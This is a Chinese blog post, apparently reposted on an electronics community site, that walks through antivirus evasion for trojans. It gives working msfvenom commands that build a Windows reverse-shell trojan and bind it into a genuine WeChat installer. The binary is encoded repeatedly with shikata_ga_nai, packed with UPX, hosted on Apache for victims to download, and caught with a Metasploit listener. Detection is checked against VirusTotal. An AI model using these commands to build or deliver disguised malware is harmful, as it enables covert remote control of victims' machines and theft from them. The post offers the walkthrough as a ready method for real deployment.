0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

木马免杀的几种方式

马哥Linux运维 来源:马哥Linux运维 作者:马哥Linux运维 2022-07-08 10:47 次阅读
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

免杀,又叫免杀毒技术,是反病毒,反间谍的对立面,是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外,还可以扩增病毒木马的功能,改变病毒木马的行为。免杀的基本特征是破坏特征,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。免杀技术也并不是十恶不赦的,例如,在软件保护所用的加密产品(比如壳)中,有一些会被杀毒软件认为是木马病毒;一些安全领域中的部分安全检测产品,也会被杀毒软件误杀,这时就需要免杀技术来应对这些不稳定因素。

1、裸奔马的尝试

意为不做任何免杀处理的木马

1、使用msf的msfvenom生成木马文件,生成一个裸奔马,命名为 weixin.exe吧

命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=8888 -f exe > weixin.exe

abf372ee-fdf9-11ec-ba43-dac502259ad0.jpg

2、部署一下kali上的apache服务,令目标机器能够访问下载我们生成的木马

2.1、kali中是自带有apache的,启动apache服务

ac0b1098-fdf9-11ec-ba43-dac502259ad0.jpg

2.2、把生成的weixin.exe文件放在/var/www/html文件夹下

ac23dd8a-fdf9-11ec-ba43-dac502259ad0.jpg

2.3、在靶机下访问192.168.111.132/weinxin.exe,已经下载

ac3774c6-fdf9-11ec-ba43-dac502259ad0.jpg

2.4、发现被AV查杀

ac4d0750-fdf9-11ec-ba43-dac502259ad0.jpg

ac5d624e-fdf9-11ec-ba43-dac502259ad0.jpg

如果在实战中,直接投递裸奔马比较容易引起对方运维人员的警觉,这种方式也比较冒险,所以在投递之前,要测试制作的木马是否会引起相关AV的查杀,比如在在线多引擎病毒识别工具中去测试

2.5、这里po一个在线杀毒查杀的网站,virustotal是一个提供免费的可疑文件分析服务的网站,它与传统杀毒软件的不同之处是它通过多种反病毒引擎扫描文件。使用多种反病毒引擎对您所上传的文件进行检测, 以判断文件是否被病毒, 蠕虫, 木马, 以及各类恶意软件感染。

ac70f1a6-fdf9-11ec-ba43-dac502259ad0.jpg

2、MSF编码

在metasploit框架下免杀的方式之一是msf编码器,功能是使用msf编码器对我们制作的木马进行重新编码,生成一个二进制文件,这个文件运行后,msf编码器会将原始程序解码到内存中并执行。

1、在kali终端输入 msfvenom -l encoders,这可以列出所有可用的编码格式

ac8cc3e0-fdf9-11ec-ba43-dac502259ad0.jpg

2、在msf的/data/templates/下有很多metasploit自带的用于捆绑木马的程序模板,这个模块但是一些反病毒厂商关注的重点,为了更好的实现免杀,我们需要自主选择一个待捆绑程序。在这里选择是真正的微信安装包。(也有对裸奔马进行shikata_ga_nai编码饶AV的方法,但是shikata_ga_nai编码技术多态,每次生成的攻击载荷文件都不一样,有时生成的文件会被查杀,有时不会,所以结合以上思路,生成一个捆绑木马,并进行shikata_ga_nai编码)

aca4ddc2-fdf9-11ec-ba43-dac502259ad0.jpg

把微信安装包放在/root文件夹下

acbae414-fdf9-11ec-ba43-dac502259ad0.jpg

3、使用msfvenom生成一个Windows环境下的木马,并捆绑到WeChatSetup.exe上生成WeChatSetup1.exe的合成马,同时对木马进行x86/shikata_ga_nai进行多次编码的方式进行免杀处理。

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9999 -e x86/shikata_ga_nai -x WeChatSetup.exe -i 12 -f exe -o /root/WeChatSetup1.exe

acd4c0dc-fdf9-11ec-ba43-dac502259ad0.jpg

参数说明:

-e /指定编码方式对攻击载荷进行重新编码

-x /指定木马捆绑在哪个可执行程序模板上

-i /指定对目标进行编码的次数,多次编码理论上有助于免杀的实现

-f /指定msf编码器输出程序的格式

-0 /指定处理完毕后的文件输出路径

4、把生成的文件放在kali中的apache服务对应的文件夹下,令攻击机访问

aceb1e7c-fdf9-11ec-ba43-dac502259ad0.jpg

5、攻击机下载后,在msf上创建监听

use exploit/multi/handler

set payload windows/shell/reverse_tcp ///选择payload为Windows/shell/reverse_tcp

show options ///查看一下哪些选项需要配置

set lhost 192.168.111.132 ///设置一下主机地址

set lport 9999 ///设置下主机端口,为木马设定的端口

run

ad0360e0-fdf9-11ec-ba43-dac502259ad0.jpg

6、在目标机器上点击伪造的安装包,没有打开,因为捆绑木马并多次编码后,安装包源文件已经损坏,但是在攻击机的,目标机器已经上线

ad16150a-fdf9-11ec-ba43-dac502259ad0.jpg

3、UPX加壳

upx打包器有两种功能,一种叫做给程序加壳,一种叫压缩程序,在这里使用打包器的目的是改变后门程序的特征码。

压缩的时候:它首先可执行文件中的可执行数据解压出来,然后将解压缩用的代码附加在前面

运行的时候:将原本的可执行数据解压出来,然后再运行解压缩后的数据

1、在kali中内置了upx打包器,输入upx可以看下参数介绍

ad3097ea-fdf9-11ec-ba43-dac502259ad0.jpg

2、简单的命令就是直接upx file,对file文件进行加壳处理,加壳后,因为经过压缩,文件大小会变小

ad5161e6-fdf9-11ec-ba43-dac502259ad0.jpg

3、还是老样子,把上面经历过编码后,又加壳的weixin安装包放在apache服务的文件夹下,供目标机器读取下载(如上2.4)

ad6f17cc-fdf9-11ec-ba43-dac502259ad0.jpg

4、在msf上可以创建正常的连接和监听,成功传回

ad9fade2-fdf9-11ec-ba43-dac502259ad0.jpg

后言

免杀技术也被安全技术厂商盯上并开发相对应的检测技术,所以免杀技术与杀软技术是互相促进发展的,而且发展速度很快,有些现在可以测试成功的杀软技术,过段时间就不能用了。免杀技术还需要狠下功夫去研究,接下来也会尝试python,GO写的免杀,也会在后续文章中叙述进展!

审核编辑 :李倩

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 编码器
    +关注

    关注

    45

    文章

    4007

    浏览量

    143305
  • 木马
    +关注

    关注

    0

    文章

    47

    浏览量

    13723
  • 模板
    +关注

    关注

    0

    文章

    111

    浏览量

    21122

原文标题:渗透测试-木马免杀的几种方式

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

    评论

    相关推荐
    热点推荐

    高压试验变压器如何做到“维护”?背后是哪些设计在支撑长期可靠运行?

    开篇痛点您是否经常为试验变压器的定期维护、加油、干燥处理而烦恼?设备停机维护不仅影响试验计划,更是一笔不小的人力与物料成本。有没有一款设备,能真正做到“即插即用”,省心省力?“维护”是综合性
    的头像 发表于 04-15 17:12 364次阅读
    高压试验变压器如何做到“<b class='flag-5'>免</b>维护”?背后是哪些设计在支撑长期可靠运行?

    NXP数字钥匙 3.0-真正实现手动汽车门禁

    NXP数字钥匙3.0-真正实现手动汽车门禁
    发表于 04-14 14:11 0次下载

    单相电机可以分为哪几种类型?

    单相电机是家用电器和小型工业设备中应用最广泛的动力装置之一,其结构简单、成本低廉的特点使其在220V交流电环境下具有不可替代的优势。根据工作原理和启动方式的不同,单相电机主要可分为以下几种类型:
    的头像 发表于 03-03 17:12 806次阅读

    探针电池座安装方式的差异与类型

    探针,也称作弹簧针连接器,常用于手机这种小型电子产品中。探针的主体结构由针头、弹簧、针管三部分构成。依据安装方式的差异,探针可划分为以下几种类型。
    的头像 发表于 02-26 14:24 258次阅读
    探针电池座安装<b class='flag-5'>方式</b>的差异与类型

    省心之选:星科创非接触传感器如何简化安装与实现维护?

    传感器快速安装,维护设计,储能系统运维成本,降低TCO,星科创便捷性
    的头像 发表于 01-22 17:08 591次阅读

    一文看懂AI大模型的并行训练方式(DP、PP、TP、EP)

    才能有效缩短计算时间。搭建并行计算框架,一般会用到以下几种常见的并行方式:DataParallelism,数据并行PipelineParallelism,流水线并行
    的头像 发表于 11-28 08:33 2050次阅读
    一文看懂AI大模型的并行训练<b class='flag-5'>方式</b>(DP、PP、TP、EP)

    MCU固件几种Flash(闪存)划分方式

    你通过U盘、OTA远程等方式下载的程序,其实你还是需要提前下载BootLoader程序,才能进一步下载APP程序。     今天就来说说通过OTA方式升级固件时,几种Flash(闪存)划分方式
    的头像 发表于 11-27 18:20 1377次阅读

    6盘位工具硬盘盒!ICY DOCK高密度存储,释放你的5.25寸光驱位

    工具可抽取式硬盘托盘设计,助力高密度存储ICYDOCKExpressCageMB326SP-1B是一款6盘位2.5英寸SATA/SAS机械硬盘/固态硬盘硬盘抽取盒,可安装于标准5.25英寸光驱位
    的头像 发表于 11-14 14:25 1054次阅读
    6盘位<b class='flag-5'>免</b>工具硬盘盒!ICY DOCK高密度存储,释放你的5.25寸光驱位

    30天铲屎防夹的智能猫砂盆方案

    “安全传感+IoT 云+模块化结构”帮助品牌方 30 天落/地量/产 DC12V适配器+干电池双供电,停电自动切换,30天续航,布线禁区也能即插即用。 可折叠支脚+打孔排气管,3分钟完成部署
    发表于 10-27 16:33

    正确的连接电机传动轴的几种常见连接方式及其优缺点

    在工业机械和自动化设备中,电机与传动轴的连接方式直接影响设备的运行效率、稳定性和使用寿命。选择合适的连接方式需要综合考虑负载特性、安装精度、维护便利性以及成本等因素。以下是几种常见的电机传动轴连接
    的头像 发表于 09-10 07:41 3872次阅读

    科普 | 5G公网对讲有几种实现方式

    对讲机的通信方式,通过PTT按键,实现一键对讲的通信方式,应用在一些关键业务通信,应急通信,行业工作环境下的通信需求。要实现5G公网对讲现在有两种方式,一种是MCP
    的头像 发表于 09-03 14:14 1295次阅读
    科普 | 5G公网对讲有<b class='flag-5'>几种</b>实现<b class='flag-5'>方式</b>?

    焊BNC接头接法:零基础快速安装指南与信号稳定技巧

    通过以上步骤,即使零基础用户也能快速完成焊BNC接头的安装,确保视频、音频信号稳定传输,满足监控、音视频工程等场景需求。
    的头像 发表于 08-28 16:59 2421次阅读
    <b class='flag-5'>免</b>焊BNC接头接法:零基础快速安装指南与信号稳定技巧

    在Python中字符串逆序有几种方式,代码是什么

    对于一个给定的字符串,逆序输出,这个任务对于python来说是一种很简单的操作,毕竟强大的列表和字符串处理的一些列函数足以应付这些问题 了,今天总结了一下python中对于字符串的逆序输出的几种常用
    的头像 发表于 08-28 14:44 1252次阅读

    光纤预端接方式几种

    光纤预端接方式主要包括以下几种,每种方式都有其独特的特点和应用场景: 工厂预端接(Factory Pre-terminated) 特点:在工厂环境下,通过高精度设备将光纤连接器(如LC、SC、MPO
    的头像 发表于 05-13 14:13 966次阅读

    打配线架好还是模块好

    打配线架和模块化配线架各有优劣,选择需根据具体需求和场景决定。以下是对两者的详细比较: 打配线架的优势 操作便捷:打配线架无需使用网线钳压接,操作快捷方便。即使打错线,也可以移除重新打线,降低
    的头像 发表于 05-12 10:19 1107次阅读